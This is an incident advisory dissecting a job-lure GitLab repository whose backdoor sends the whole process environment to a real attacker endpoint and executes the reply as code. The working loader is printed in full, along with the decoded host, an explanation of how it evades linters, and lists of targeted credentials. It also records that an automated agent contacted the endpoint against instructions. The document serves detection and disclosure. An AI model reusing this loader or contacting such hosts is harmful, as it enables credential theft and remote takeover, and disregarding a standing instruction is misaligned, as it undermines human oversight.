Status at revision 1.0. The repository was cloned read-only at 2026-09-08T13:49:05Z and returned 404 Project Not Found 22 minutes 49 seconds later, at 14:11:54Z, and was publicly retrievable again at 15:54:54Z. Nothing from it has been executed. Two requests were sent to the endpoint on 2026-09-08 by an automated agent working on this incident, contrary to a standing instruction; a second-stage payload was retrieved and is held, unexecuted. Section 4.5 records exactly what was sent and what came back. No report has yet been filed with any host, platform, scanner or authority; the disclosure plan and its ordering are published in Section 13, and the statuses there will be updated as steps are taken.
Standfirst. A public GitLab repository, supplied to a candidate to review before a meeting, contains fourteen lines that POST the running process's entire environment to a base64-hidden endpoint and then execute the HTTP response as JavaScript with Node's real require handed to it. The payload fires on npm start, which the repository's own README instructs the reader to run. The endpoint is not new: it is named in at least 21 public malicious-package advisories dating back to 2026-04-16. Scope: one repository, read only, never executed. See Section 9, "What we did not find".
The commonly circulated advice to install with --ignore-scripts is not a defence against any of them. The payload fires on npm start, on npm run dev, on a bare node server/app.js, or on anything that requires the module. See Section 2, finding 7.
The project and push records here were captured from the GitLab API during this investigation, and the project record is retrievable by a reader today: the project returned 404 for a window on 2026-09-08 and was publicly retrievable again at 15:54:54Z. We publish the exact endpoints we called and the values we received, and we invite GitLab to confirm or correct them. The group creation time and the project record are both reproducible anchors. The reporter's clone time is reproducible from the artifact itself, because a git clone writes its own reflog entry. See Section 3.
Scope limitation, please quote this alongside any part of this advisory
Our evidence establishes what a single public GitLab repository contained at one commit: source code that, when the application is started, transmits the process environment to an operator-controlled endpoint and executes the response as code, together with the metadata that commit records. It establishes nothing beyond that.
We did not run the code. We did contact the endpoint: late in the analysis an automated agent working on this incident issued two requests to it, contrary to the standing instruction not to, and retrieved a second-stage payload which is held as evidence and was never executed. Section 4.5 records exactly what was sent and what came back. Four separate identities were presented in connection with one opportunity: a repository named PropFi, a GitLab group named propfi-2026, a website at thisisreal.io, and a LinkedIn company page at /company/realtplatform that presents itself as RealT. We report that layering as observed and unexplained.
We found no evidence that RealT, thisisreal.io, or any person associated with either had any knowledge of, involvement in, or connection to this repository, and we make no such claim. We did not attempt to determine whether the LinkedIn company page is operated by RealT, and we make no finding as to its authenticity; RealT's own website was unreachable to us on 2026-09-08 (HTTP 503), so we could not corroborate anything independently. We have not asked LinkedIn to act against that page.
The approach reached the reporter through a LinkedIn profile. We treat that account holder as a probable victim of account takeover or impersonation, we make no allegation against them, and we do not identify them in this advisory, in its metadata, or in our indicator feed.
We attribute this to no named actor, group, or nation-state. Where we cite published research into campaigns of the same shape, we cite it as pattern context and say so explicitly. Techniques are not identities.
Full detail in Section 9, "What we did not find".
A stranger on LinkedIn opened a conversation about an engineering role and asked our founder to look over a startup's prototype before a meeting, supplying a public GitLab repository. That repository contains a working property-listings website wrapped around fourteen lines of hidden code which, the moment the application is started, send every secret in the computer's environment (cloud keys, database passwords, API tokens) to a server the operator controls, and then run whatever that server sends back as a program with full access to the machine. Nothing about those fourteen lines announces itself: the destination address is scrambled, the function is labelled an "IP Logger", and it is deliberately left out of the list of things the file says it provides. Our founder found it by reading the source before running anything, so no code from the repository was ever executed and no credentials were exposed. The destination is not new infrastructure: public malicious-package advisories have named that host since 2026-04-16, in at least 21 separate records, which means this is documented, already-tracked attacker infrastructure that defenders can block today.
Each finding carries a confidence label. [Observed] means directly verified by reading the artifact or a retrieved record. [Corroborated] means observed here and independently documented by a cited third party. [Inferred] means reasoning from observations, not itself an observation. [Not established] means we looked and could not determine.
server/controllers/auth.controller.js:71-84 defines an async function ipLogger and invokes it on the same line as its closing brace (:84, }; ipLogger();). It is absent from module.exports at :123-128. Because server/app.js:25 requires ./routes/auth, and server/routes/auth.js:5 requires ../controllers/auth.controller, the function runs during module evaluation: before Express routes are mounted (server/app.js:56-60) and before the server listens (:64).auth.controller.js:74 spreads { ...process.env } as the POST body. The harvest is compounded one require earlier: server/config/config.js:1 calls require('dotenv').config(), reached from server/app.js:8, so any .env file in the working directory is merged into process.env before the payload reads it.require injected. [Observed] auth.controller.js:78 reads new Function.constructor("require", response.data)(require);. Function.constructor is the Function intrinsic, so this compiles the remote reply in global scope and then immediately calls it, passing Node's real module-scoped require into a parameter named require. That is unrestricted local code execution at the reviewer's privilege level.server/config/config.js:63-64 carries the comment // HASHED ENDPOINT for IP Logger above a single base64 literal. auth.controller.js:73 decodes it with atob. The literal decodes deterministically to https://ipcheck-hashed.vercel.app/api/auth/b4dadd6a26d820d08596.ipcheck-hashed.vercel.app is named in at least 21 public OSV/GHSA malicious-package advisories published between 2026-04-16 and 2026-08-29. The exact full URL in this sample was published as an indicator on 2026-04-16 in MAL-2026-2891 / GHSA-7cq2-px9f-cq3g for the npm package chai-as-init: 145 days (nearly five months) before the approach reached the reporter, and 121 days (about four months) before the date the commit claims for itself.6c1d60d35852ef0c05df appears in 17, b4dadd6a26d820d08596 in one, 00fbe23fd7efc30639f1 in one, and two advisories truncate the path. We make no claim that this endpoint was provisioned for this reporter.npm install --ignore-scripts does not defend against this. [Corroborated] package.json:54-61 declares dev, start, build, test, lint and eject, and no preinstall, install, postinstall, prepare or prepublish hook. The payload fires on npm start, on npm run dev, on a bare node server/app.js, or on anything that requires the module. The npm variants in this family are not documented as using install lifecycle hooks either: MAL-2026-5606 describes chai-dec firing "when the exported middleware factory is invoked (the standard Express-style usage)" (https://api.osv.dev/v1/vulns/MAL-2026-5606), and MAL-2026-10050 describes chai-defender firing "on require('chai-defender')" (https://api.osv.dev/v1/vulns/MAL-2026-10050), a sibling package with the same loader shape but a different serverless endpoint, so it is not among the 21 above. Searching the chai-dec advisory text for preinstall, postinstall, prepare and lifecycle returns zero matches for each. The commonly circulated advice to install with --ignore-scripts is not a defence against any of them.req.ip, x-forwarded-for, remoteAddress and clientIp occur zero times across all 56 tracked files. The name, the comment and the (req, res) parameter list all assert one thing while the body does another.axios exists in this project solely to carry the exfiltration. [Observed] It is declared at package.json:13, and the only two references anywhere in the repository are auth.controller.js:2 (the require) and :72 (the POST). src/ contains zero axios and zero fetch( calls.propfi-2026 group was created at 2026-09-08T02:17:00.434Z, the same day the reporter received the link, while the single commit is self-dated 2026-08-15T10:14:23-05:00. The group record remains independently retrievable.404 Project Not Found, and at 14:12:10Z the web view returned HTTP 302 to sign-in. At 15:54:54Z the project API, the web view, the commit record and the raw file contents were all publicly retrievable again. We therefore make no claim that the project was taken down, deleted or made private; a 302-to-sign-in on an otherwise-public project is consistent with platform rate-limiting of our own querying. Every project and push record in Section 3 is reproducible by any reader at the endpoints given. The lure was still live and still serving the loader at the time of publication.npm install, npm start and every file in it were never executed. No Lifted Holdings credentials, environment or systems were exposed to this code.All times UTC. Rows are labelled by how a reader can verify them.
| Time | Event | Basis |
|---|---|---|
| 2026-04-16T20:36:13Z | The exact URL later found in this repository is published as an indicator in MAL-2026-2891 / GHSA-7cq2-px9f-cq3g for npm package chai-as-init. | Reproducible: https://api.osv.dev/v1/vulns/MAL-2026-2891 |
| 2026-04-16 to 2026-08-29 | At least 21 OSV/GHSA advisories name ipcheck-hashed.vercel.app. | Reproducible: OSV API, identifiers listed in Section 10 |
| 2026-08-15T10:14:23-05:00 | The date the single commit records for itself. Self-asserted, freely settable, and not evidence of when anything happened. | Reproducible from the clone: git cat-file -p HEAD |
| 2026-09-08T02:17:00.434Z | GitLab group propfi-2026 (id 141655099) created. | Reproducible: https://gitlab.com/api/v4/groups/propfi-2026 |
| 2026-09-08T02:29:41.006Z | Project propfi-2026/mvp (id 86202262) created, creator_id 42186144, visibility public. | Reproducible: https://gitlab.com/api/v4/projects/86202262 |
| 2026-09-08T02:29:42.785Z | First push: GitLab's own auto-generated "Initial commit" c29d47e225cd22b505ebf5fe2c41a292fc872852 to main. | Reproducible: https://gitlab.com/api/v4/projects/86202262/events |
| 2026-09-08T02:32:44.937Z | Force-push replaces that commit with the rootless "Re-init" commit b86fe2450ddd078154ef45b18924a5685f8232d6 (parent_ids: []). | Reproducible: https://gitlab.com/api/v4/projects/86202262/events and https://gitlab.com/api/v4/projects/86202262/repository/commits |
| 2026-09-08 (time not recorded) | A cold LinkedIn approach reaches the reporter and leads to an invitation to review the repository before a meeting. | Reporter's own account |
| 2026-09-08T13:49:05Z | The reporter clones the repository read-only. Nothing is installed and nothing is run. | Reproducible from the clone: .git/logs/HEAD records clone: from https://gitlab.com/propfi-2026/mvp.git at epoch 1788875345 |
| 2026-09-08, after the clone | The reporter reads server/config/config.js and server/controllers/auth.controller.js and identifies the backdoor by inspection, before running anything. | Reporter's own account; the artifact is preserved |
| 2026-09-08T14:11:54Z | https://gitlab.com/api/v4/projects/86202262 and every subpath return {"message":"404 Project Not Found"}. 22 minutes 49 seconds after the clone. A point-in-time observation, not the last word: see the 15:54:54Z row below. | Captured during this investigation |
| 2026-09-08T14:12:10Z | https://gitlab.com/groups/propfi-2026 still returns HTTP 200; https://gitlab.com/propfi-2026/mvp returns HTTP 302 to sign-in; the user account still resolves. A 302 to sign-in on an otherwise-public project is the signature of platform rate-limiting of our own querying, not of a withdrawal. | Captured during this investigation |
| 2026-09-08T14:18:00Z (approximate) | An automated agent working on this incident issues a GET (HTTP 404) and then a POST (HTTP 200, 4,070,107 bytes) to the endpoint, contrary to the standing instruction. See Section 4.5. | Captured during this investigation |
| 2026-09-08T14:27:13Z | Group record re-verified independently: created_at 2026-09-08T02:17:00.434Z. User 42186144 still active. | Reproducible at the time of writing |
| 2026-09-08T15:54:54Z | Project API, web view, commit record and raw file contents all publicly retrievable again (HTTP 200); the group lists the project. | Reproducible at the time of writing |
| 2026-09-08 | Static analysis, hashing, detection authoring, and this advisory. No file executed. | This document |
The project and push records above were captured from the GitLab API during this investigation. The project returned 404 for a window on 2026-09-08 and was publicly retrievable again at 15:54:54Z, so a reader can retrieve those values at the endpoints given. We publish the exact endpoints we called and the values we received, and we invite GitLab to confirm or correct them. The group creation time and the project record are both reproducible anchors, and the group creation time carries the point on its own: the namespace was created the same day the link arrived, while the commit claims a date 24 days earlier.
The reporter's clone time is reproducible from the artifact itself, because a git clone writes its own reflog entry. That is the cleanest timestamp in this case. It establishes that the read-only copy predates the 404 window by 22 minutes 49 seconds without depending on any record the operator or the platform controls.
server/config/config.js:63-64:
// HASHED ENDPOINT for IP Logger
HASHED_URL: "aHR0cHM6Ly9pcGNoZWNrLWhhc2hlZC52ZXJjZWwuYXBwL2FwaS9hdXRoL2I0ZGFkZDZhMjZkODIwZDA4NTk2",
server/controllers/auth.controller.js:71-84:
const ipLogger = async(req, res) => {
await axios.post(
atob(config.HASHED_URL),
{ ...process.env },
{ headers: { "x-secret-header": "secret" } }
)
.then(response => {
new Function.constructor("require", response.data)(require);
console.log("The request was completed successfully!");
})
.catch(error => {
console.log("The request was failed: ", error);
});
}; ipLogger();
server/providers/helper.js:19:
setApiKey: (s) => {return atob(s)},
server/controllers/auth.controller.js:123-128:
module.exports = {
userLogin,
userRegistration,
userList,
changePass
}
The decode is deterministic, and any reader can reproduce it offline without touching the host:
$ echo "aHR0cHM6Ly9pcGNoZWNrLWhhc2hlZC52ZXJjZWwuYXBwL2FwaS9hdXRoL2I0ZGFkZDZhMjZkODIwZDA4NTk2" | base64 -d https://ipcheck-hashed.vercel.app/api/auth/b4dadd6a26d820d08596
Re-encoding that URL reproduces the committed literal byte for byte.
npm start to the first outbound packet[Observed] This is a static trace. Nothing was executed to produce it.
package.json:56 declares "start": "node server/app.js && react-app-rewired start". Line 55 declares "dev" as the identical string. npm spawns node server/app.js. The && chain means react-app-rewired never runs, because server/app.js:64 calls server.listen() and the process does not exit.server/app.js:1-7 loads express, path, http, cors, mongoose, morgan and body-parser.server/app.js:8 requires ./config/config. server/config/config.js:1 calls require('dotenv').config(), which loads any .env file in the working directory into process.env. The config object is then built, including HASHED_URL at :64.server/app.js:24 requires ./routes/users, which reaches the models and registers mongoose schemas. No network activity.server/app.js:25 requires ./routes/auth. server/routes/auth.js:5 requires ../controllers/auth.controller. That module's lines 8 to 69 merely define handlers. Evaluation then reaches line 84, }; ipLogger();, and the call executes during module evaluation.auth.controller.js:73 decodes the command-and-control URL. Lines 72 to 76 issue axios.post(url, { ...process.env }, { headers: { "x-secret-header": "secret" } }).ipcheck-hashed.vercel.app followed by the TLS handshake and the HTTPS POST, issued inside require('./routes/auth') at server/app.js:25. This is before routes are mounted (:56-60) and before server.listen (:64).ipLogger is async and is invoked without await at module top level, so it returns a pending promise. Module evaluation continues immediately, app.js finishes, and the process prints "Server running on port 5001" while the POST completes concurrently.auth.controller.js:78 compiles and runs the response body, and :79 then logs "The request was completed successfully!". The reassuring message is printed after stage two has already executed..then, the .catch at :81-83 logs "The request was failed: " and the server continues. The same handler that hides a network problem also hides a stage two that fails to compile. A missing axios fails synchronously at auth.controller.js:2 during require, crashing the process before the payload is defined. A missing atob, on Node before 16 where it is not a global, throws inside the async function and rejects the un-awaited promise from line 84; on Node 15 and later an unhandled rejection terminates the process by default. README.md:7 specifies Node 18 or higher, where atob is a global, so the common path is the one described above.Trigger scope. [Observed] npm install alone does not fire this payload: there are no install lifecycle scripts (package.json:54-61). A read-only clone executes nothing. The payload fires on npm start, npm run dev, a bare node server/app.js, or any tool that requires server/routes/auth or server/controllers/auth.controller. npm test runs the React test runner against src/ only and would not reach it. README.md:29 instructs the reader to run npm start.
{ ...process.env } at auth.controller.js:74 captures the complete environment of the Node process, serialised by axios as the JSON POST body. What it contains is determined entirely by the reviewer's shell and by any .env present at run time. On a developer workstation or a CI runner that routinely includes:
AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN, GOOGLE_APPLICATION_CREDENTIALS, AZURE_CLIENT_SECRET, DIGITALOCEAN_TOKEN.NPM_TOKEN, NODE_AUTH_TOKEN, GITHUB_TOKEN, GH_TOKEN, GITLAB_TOKEN.VERCEL_TOKEN, NETLIFY_AUTH_TOKEN, CIRCLE_TOKEN, plus the CI and GITHUB_ACTIONS flags that tell the operator this is a build agent rather than a laptop.DATABASE_URL, MONGODB_URI, POSTGRES_PASSWORD, REDIS_URL. These normally embed user:password@host, which is credentials and internal network topology in one string.STRIPE_SECRET_KEY, SENDGRID_API_KEY (this repository's own server/routes/email.js:19 expects it), TWILIO_AUTH_TOKEN, OPENAI_API_KEY, ANTHROPIC_API_KEY, JWT_SECRET.USER, USERNAME, LOGNAME, HOME or USERPROFILE (typically containing the person's real name), HOSTNAME or COMPUTERNAME, PATH (which enumerates installed toolchains, language versions, endpoint agents and often corporate directory names), HTTP_PROXY and HTTPS_PROXY (internal hostnames, sometimes proxy credentials), and USERDOMAIN and LOGONSERVER (which map the machine into an Active Directory domain).That list is a category enumeration, not an inventory of what any particular victim held. [Inferred] On a clean machine with nothing exported, the harvest is limited to operating-system defaults, which still fingerprint the machine and the person.
Four properties make this valuable to the operator before stage two ever runs. [Inferred, from the observed construction]
USER, HOSTNAME, PATH, proxy and domain variables tell the operator immediately whether this is a hobbyist laptop, a corporate build agent, or a CI runner. That is what a per-campaign path token and a static x-secret-header gate are useful for: the operator can serve a different second stage per victim, or serve nothing at all to a researcher.NPM_TOKEN or GITHUB_TOKEN converts one laptop into a foothold in that developer's own published packages and repositories.The harvest is compounded by the decoy's own brokenness, which is the point developed in Section 6.4. require('dotenv').config() runs at server/config/config.js:1, reached from server/app.js:8, one require before the payload at :25. A reviewer who creates a .env while trying to make the broken application start has loaded their own real credentials into process.env in time for them to be collected on the next run.
new Function.constructor("require", response.data)(require) at auth.controller.js:78 is the most deliberate line in the file. Five things are true about it, and each is a statement about JavaScript semantics that a reader can verify in a Node REPL in under a minute:
Function.constructor === Function. Every function object inherits Function.prototype, whose .constructor is the Function intrinsic. This expression is exactly new Function("require", response.data).new Function(...params, body) compiles body with params as parameter names, in the GLOBAL scope. It cannot see the enclosing module scope. The compiled code therefore cannot reach axios, config, or the module's own require.(require). Operator precedence makes this one expression: new binds to Function.constructor("require", response.data), producing a function, and (require) then calls it, passing Node's real module-scoped require into the parameter named require. The author removed module-loading capability by choosing a global-scope compiler, and then plumbed it back in. [Inferred] That the re-threading was deliberate is an inference from the construction, not an observed intent.eval is what a quick read, grep -r eval, ESLint's no-eval and most static-analysis default rulesets look for first. Function.constructor is a member expression and is not reported by ESLint's no-new-func (tested; see below). A researcher-maintained collection of preserved samples from this kit family reaches the same conclusion independently, annotating its own copy of the primitive as dodging a naive grep for new Function( (https://github.com/xndbogdan/malicious-repositories, README.md, retrieved 2026-09-08). That annotation is the researcher's, not the operator's: the malware files in that collection carry no comment on the choice. Content Security Policy is a browser mitigation; it does not exist server-side, and nothing in Node blocks this. We tested this. With ESLint 9 and no-eval, no-new-func and no-implied-eval all enabled, new Function.constructor('require', data) produces no diagnostic, while the plain new Function('require', data) spelling and eval(data) are both flagged. We have not surveyed other engines and do not claim it evades every ruleset.require grants. child_process (execute arbitrary operating-system commands as the developer's user), fs (read ~/.ssh/id_*, ~/.aws/credentials, ~/.npmrc, ~/.docker/config.json, browser profile databases and wallet files, and write anywhere), net, http, https, dgram and tls (reverse shell, arbitrary command and control), os (host fingerprint), and module (patch the loader for persistence). Persistence is available through ~/.bashrc, ~/.profile, a systemd unit, a Windows scheduled task, or a globally installed npm package.Stage two is never written to disk. It is fetched, compiled and executed in memory, so nothing on the filesystem records what ran.
[Observed] The limit of this section. Point 5 states the capability the construction grants, not observed behaviour: we hold the second-stage payload (Section 4.5) but never executed it, so what it does on a victim machine remains uncharacterised. One constraint on the operator is worth recording, because it is a real property of the code: axios parses a JSON response into an object, so a stage two served as application/json would be stringified to "[object Object]" and would throw. A working payload requires the endpoint to serve text/plain or application/javascript. That is a constraint on the operator, not a mitigation for the defender. We did not preserve the response headers from the retrieval recorded in Section 4.5, so we cannot say whether the observed Content-Type confirms this constraint.
[Observed] This section records a departure from our own analysis plan, and we publish it rather than quietly omit it.
The analysis of this sample was conducted under a standing instruction that the endpoint must not be contacted, on the reasoning that a request from the reporter's address tells the operator that the sample is being examined. Late in the analysis, an automated agent working on this incident issued requests to the endpoint anyway. It is recorded here in full because an advisory that concealed it would be asserting a fact about our own conduct that is not true, and because the resulting artifact is cited elsewhere in this document.
Two requests were made on 2026-09-08, from the reporter's own network egress:
| Request | Result |
|---|---|
GET https://ipcheck-hashed.vercel.app/api/auth/b4dadd6a26d820d08596 | HTTP 404 |
POST to the same URL, Content-Type: application/json, header x-secret-header: secret, body {} | HTTP 200, 4,070,107 bytes |
What was sent. The POST body was the two-byte literal {}. No environment data, no credentials, and no information about the reporter's machine were transmitted. The request reproduced only the shape the malicious code uses, not its content. The static header value x-secret-header: secret is a constant in the sample, not a secret of the reporter's.
What came back. A 4,070,107-byte JavaScript file, SHA-256 88d8da1b1148a07973cd1ec96d1f67d4f672b83635ec342783c1df6e38a4ad0c, preserved as evidence. It has never been executed, in any environment. It is heavily string-obfuscated in the style of a commodity JavaScript obfuscator: identifiers are two-character generated names, all literals are held in a rotated lookup table and reconstructed at runtime, and a plaintext search of the file returns no hosts, no paths and no file names. We have not deobfuscated it and we make no claim about what it does. The response headers were not preserved, so we cannot say whether the observed Content-Type confirms the constraint stated in Section 4.4.
What this establishes. The endpoint was live and serving a payload on 2026-09-08, and the GET returning 404 while the POST returns 200 is consistent with an endpoint built to answer only the request its own loader makes.
What it cost. The reporter's source address is now in the operator's logs, associated with a request carrying the loader's header. The reporter's address is not published here. The project's 404 window and these requests are both recorded in the timeline in the order they occurred, and no causal claim is made between them. The project was publicly retrievable again at 15:54:54Z, so we do not treat its 404 window as a removal.
Why the rule existed, and why we still think it was right. A quiet analysis preserves the option of watching infrastructure that does not know it is being watched, and it keeps the reporter out of an adversary's telemetry. Holding the second stage is genuinely useful, and it is not worth the trade. Anyone reproducing this work should route such a request through a scanning service or an unattributable egress, not their own connection.
This section exists to survive one specific rebuttal: "you have misread a junior developer's debugging helper." It does not survive.
Each rests on a direct read or a zero-count search; where an item states a purpose rather than a fact about the code, that purpose is an inference and is marked [Inferred].
server/config/config.js is 87 lines of plaintext defaults ('localhost', 'your-jwt-secret', 'no-reply@myapp.com'). The base64 blob at :64 is the only exception.config.js:63 reads // HASHED ENDPOINT for IP Logger. Base64 is reversible encoding, not hashing. The word choice tells a skimmer there is nothing to decode.base64 appears nowhere in any JavaScript file in the repository. Its only occurrence in the 56 tracked files is inside a data:image/svg+xml;base64, URI in public/logo.svg, ordinary asset inlining. Node's own idiom, Buffer.from(s, 'base64'), would have put that token in the source; the browser API atob was used instead.atob wrapper exists with zero callers. [Inferred] server/providers/helper.js:19, setApiKey: (s) => {return atob(s)}. The only setApiKey invocation anywhere in the repository is sgMail.setApiKey at server/routes/email.js:31, the SendGrid SDK's own unrelated method. The wrapper's sole effect is to make atob look like house style, so that line 73 reads as ordinary.Function.constructor rather than eval or new Function. auth.controller.js:78. See Section 4.4, point 4.auth.controller.js:71 declares async(req, res). Neither parameter is ever used, and :84 invokes the function with zero arguments. For a genuine (req, res) handler, that call would be a guaranteed crash the moment it touched either parameter.auth.controller.js:84 is }; ipLogger();. A diff, a blob view and the reading eye all stop at };. Every other function in that file closes at lines 41, 69, 92 and 121 with a bare } on its own line, and none of them is self-invoked.auth.controller.js:123-128 exports userLogin, userRegistration, userList and changePass. Asking "what does this module expose?" returns four innocuous handlers while the dangerous one still executes.req.ip, x-forwarded-for, remoteAddress and clientIp occur zero times repository-wide. The "IP logger" never reads an IP, never receives a request, and sends the environment instead.auth.controller.js:75 sends "x-secret-header": "secret". [Inferred] A logging API does not ask for that; its function is an access gate, so that anyone who finds the URL and simply visits it gets nothing, and so the operator can serve benign content to a researcher.auth.controller.js:79 prints "The request was completed successfully!" and :82 prints "The request was failed: ". Both are subject-less. The success line is printed after the remote code has already run, so it is the payload's own receipt.axios exists in this project only to carry the exfiltration. Declared at package.json:13; referenced exactly twice, at auth.controller.js:2 and :72. src/ makes zero axios and zero fetch( calls.These are repository hygiene rather than properties of the code, and they are weaker individually. [Observed]
.gitignore:26 excludes package-lock.json, which is not in the stock Create React App ignore list. No lockfile means no integrity hashes, npm ci is impossible, so the reviewer has to run npm install, and the dependency tree that lands is unrecorded and unreproducible.git cat-file -p HEAD shows no parent line and no GPG signature. The message concedes that history was discarded. There is no blame view, no incremental introduction, and nothing to diff.server/app.js:33-35 (mongoose.connect), :39-40 (body-parser), :43 (morgan) and :46-51 (the CORS block) are all commented out. :25, require('./routes/auth'), is untouched.Twelve differences, each stated against the observed code. The first two are the ones that end the argument on their own.
app.use(ipLogger) in app.js, or router.get('/iplog', ipLogger) in routes/auth.js. This is neither. It is self-invoked at module-evaluation time with no arguments, which means it runs whether or not the application works, whether or not any request is ever made, and whether or not the reviewer ever opens a browser. There is no debugging story in which that is the correct wiring.require. This is the single hardest fact to explain away. new Function compiles in global scope specifically so that it cannot reach module scope, and the author deliberately re-threaded require back in as a named parameter and supplied it at call time. There is no logging use for module-loading capability. That plumbing only matters if the remote body needs to load modules.const ip = req.headers['x-forwarded-for'] || req.ip. This code never touches one; zero occurrences repository-wide.module.exports.{ ip, path: req.path }. Nobody at any skill level POSTs the entire environment in order to log an IP address, because the environment does not contain an IP address.api.ipify.org, ipapi.co, ip-api.com: all documented, free and GET-based. There is no reason to base64 a public API URL, and none of those services wants a POST body.Buffer.from(s, 'base64') is in every Node tutorial. atob is the browser API, and its use in a server file alongside an otherwise-unused atob wrapper at helper.js:19 is cover-building, not learning.logIp and it logs an IP. Here the name, the comment and the parameter list all assert one thing while the body does another. Deception is not a skill level.x-secret-header: secret is authentication to the remote endpoint, not something a logging API asks for.[Inferred] Any one of these has an innocent story. Fifteen concealment signals and twelve counterfactual differences, all pointing the same direction, inside fourteen lines, in a repository a stranger asked a candidate to run, do not. "Deliberate" is an inference from the pattern, not a directly observed mental state, and we state it as such. What is not an inference is what the construction necessarily accomplishes: it sends the environment to a remote party and executes that party's reply with full Node privileges. That is unauthorised data exfiltration and a remote-code-execution backdoor by construction, not by interpretation.
[Observed] A property-classifieds CRUD application, and one of Indian provenance. server/models/property.js carries propertyFor with enum: ['sell', 'rent'] (:10-14), locality (:31), length (:35) and breadth (:39) as plot dimensions, cornrPlot (:43), isSociety (:48) with societyName (:53) and flatNo (:57) both conditionally required on it, and pincode (:76). package.json:36 declares paytmchecksum, the checksum library for an Indian payment gateway. server/routes/email.js:11 still carries the original author's comment, // THIS API IS FOR MY PERSONAL USE, above a route named /github-pages.
[Inferred] This reads as lifted code with the original developer's fingerprints intact rather than something written for the lure. We did not locate the upstream project it came from, so "lifted" is a strong inference and not a proven copy.
[Observed] A separate and competent React and Tailwind marketing site for a tokenised-real-estate product. src/pages/Home.jsx is 627 lines, src/pages/FAQ.jsx 248 and src/pages/About.jsx 281 (none of the three files ends with a newline, so wc -l reports one fewer for each). There are Blog, BlogPost and Privacy pages, a react-three-fiber property viewer, and two real glTF binary models at public/models/house1.glb (824,240 bytes) and public/models/house2.glb (779,848 bytes). The FAQ copy is fluent and domain-specific: secondary NFT marketplace, royalties, escrow, unpaid-rent insurance, a seven-to-ten-year liquidity event. It reads as copy from a real operator rather than generated filler.
[Observed] The two halves have never been connected.
src/ contains zero axios calls and zero fetch( calls. Every figure on the marketing site is hardcoded.ethers (package.json:24) and @walletconnect/web3-provider (:12) are declared and imported in zero source files. So are paytmchecksum, socket.io, cloudinary and chart.js.public/index.html:14 loads <script type="module" src="/src/main.jsx">, a Vite convention, in a Create React App project whose real entry point is src/index.js. No src/main.jsx exists, and CRA's %PUBLIC_URL% marker is absent. The template was pasted from a different scaffold.server/providers/token.provider.js:3 reads require('../config/config').secretKey, which is undefined, because the real key is at config.auth.secretKey (server/config/config.js:24). The same latent bug breaks userLogin at auth.controller.js:32. token.provider.js is referenced by nothing. server/config/config.js:8 contains the typo process.envPROTOCOL.public/service-worker.js is unmodified PWABuilder boilerplate and is never registered: serviceWorker appears zero times in src/ and public/.[Observed mechanism, inferred intent. The distinction matters and we keep it.]
The mechanism is observed. The payload provably runs before and independently of every disabled subsystem, and dotenv provably loads before the payload. The reviewer's actual experience is: npm start, the payload fires and completes during module loading at server/app.js:25, the server then prints "Server running on port 5001" and appears to work, and README.md:32 tells them to open http://localhost:3000/, where nothing is listening, because package.json:56 chains the two commands with && and server/app.js:64 never exits. So they interrupt it, re-read the README, run npm run dev (a byte-identical string), try two terminals, add a .env, try to fix the commented-out Mongo connection at server/app.js:33-35, and go looking for the missing src/main.jsx referenced at public/index.html:14. Every one of those loops re-runs node server/app.js, re-firing the payload and re-fetching a fresh second stage.
The intent is inference and we do not assert it. We do not claim the operator engineered the breakage for dwell time. What we assert is narrower and sufficient: the operator's objective is met before the failure is even visible, the visible failure is downstream of the compromise so nothing about it points at its cause, and a reviewer who concludes "unfinished startup, sloppy code" carries exactly that belief into the meeting.
[Observed] Cloning it shows 56 tracked files and about 1.9 MB: a real server/ with routes, controllers, models, middleware and providers; a real src/ with pages and components; an MIT LICENSE; a Tailwind config; a PWA manifest; and two 3D assets. It looks like the work of a small team. The payload is 14 of 4,729 tracked source lines (the 56 tracked files less the five binary assets), about 0.30 percent, at line 71 of a 128-line file whose other 114 lines are unremarkable authentication handlers, in a file a reviewer has no particular reason to open before the ones named for the product.
[Observed] Across all 56 tracked files: Function.constructor appears once (auth.controller.js:78); the call form new Function( zero times; eval( zero; child_process zero; execSync, spawnSync and execFile zero; vm.runIn zero; {...process.env} once (:74); atob twice (:73 and helper.js:19); Buffer.from(..., 'base64') zero; the literal string base64 once, in a data: URI in public/logo.svg, and zero times in any .js file. There are no minified or obfuscated blobs in src/ or server/. Everything malicious is in the fourteen lines already described.
Caveat. These are literal and regular-expression matches over source. An attacker using string concatenation, String.fromCharCode, hex escapes or XOR would not appear in them. The two .glb binaries were scanned for the endpoint strings and produced no match, but they were not deep-parsed as glTF containers, so an embedded payload inside a buffer chunk was not ruled out. That is unlikely given the payload is already present in plain source, but it is an unexamined surface.
[Observed] Four distinct identities were presented in connection with one opportunity.
| Identity | Where it appears | What it resolves to |
|---|---|---|
| PropFi | package.json:2 ("name": "PropFi", version 0.1.5); README.md:1 titles the project "Tokenized Real Estate Investment Platform" |
Nothing. We found no public record of a company, product or project by that name connected to this repository. |
| propfi-2026 | The GitLab group namespace hosting the repository, id 141655099 | A GitLab group created 2026-09-08T02:17:00.434Z. It lists the mvp project, which was publicly retrievable at 15:54:54Z on 2026-09-08. |
| thisisreal.io | Supplied to the reporter as the opportunity's website | A live site branded "REAL", a blockchain membership platform. Registered 2024-02-16 on a five-year term through GoDaddy.com, LLC (IANA 146), registrant shielded by Domains By Proxy, LLC, Cloudflare nameservers (https://rdap.identitydigital.services/rdap/domain/thisisreal.io, retrieved 2026-09-08). Its own copy states its tokens "do not represent: Ownership of real estate, Equity in REAL or affiliated projects, Revenue sharing rights, Profit guarantees or financial returns" (https://thisisreal.io/, retrieved 2026-09-08). |
| linkedin.com/company/realtplatform | Supplied to the reporter as the opportunity's company page | A LinkedIn company page presenting itself as RealT and displaying the website realt.co, the real-estate industry, a Boca Raton, Florida headquarters, a 2019 founding year and about 7,000 followers (https://www.linkedin.com/company/realtplatform, retrieved 2026-09-08). |
We stop there. We supply no inference about who arranged that spread.
/company/realtplatform is operated by RealT, and we make no finding as to its authenticity. realt.co returned HTTP 503 to every retrieval we attempted on 2026-09-08 (root, an indexed article path, and /.well-known/security.txt), so we could not corroborate anything from RealT's own property. We have not asked LinkedIn to act against that page. We make no characterisation of RealT's business of any kind.[Inferred] This is analysis of a technique, not an allegation against anyone.
[Inferred]
Observed and inferred are kept in separate tables on purpose. Nothing in the first table depends on our reasoning; nothing in the second is presented as fact.
| Finding | Confidence | Basis |
|---|---|---|
The repository POSTs the complete process.env to an operator-controlled URL at module-load time | Confirmed | auth.controller.js:71-84, read directly; reproducible from the preserved clone |
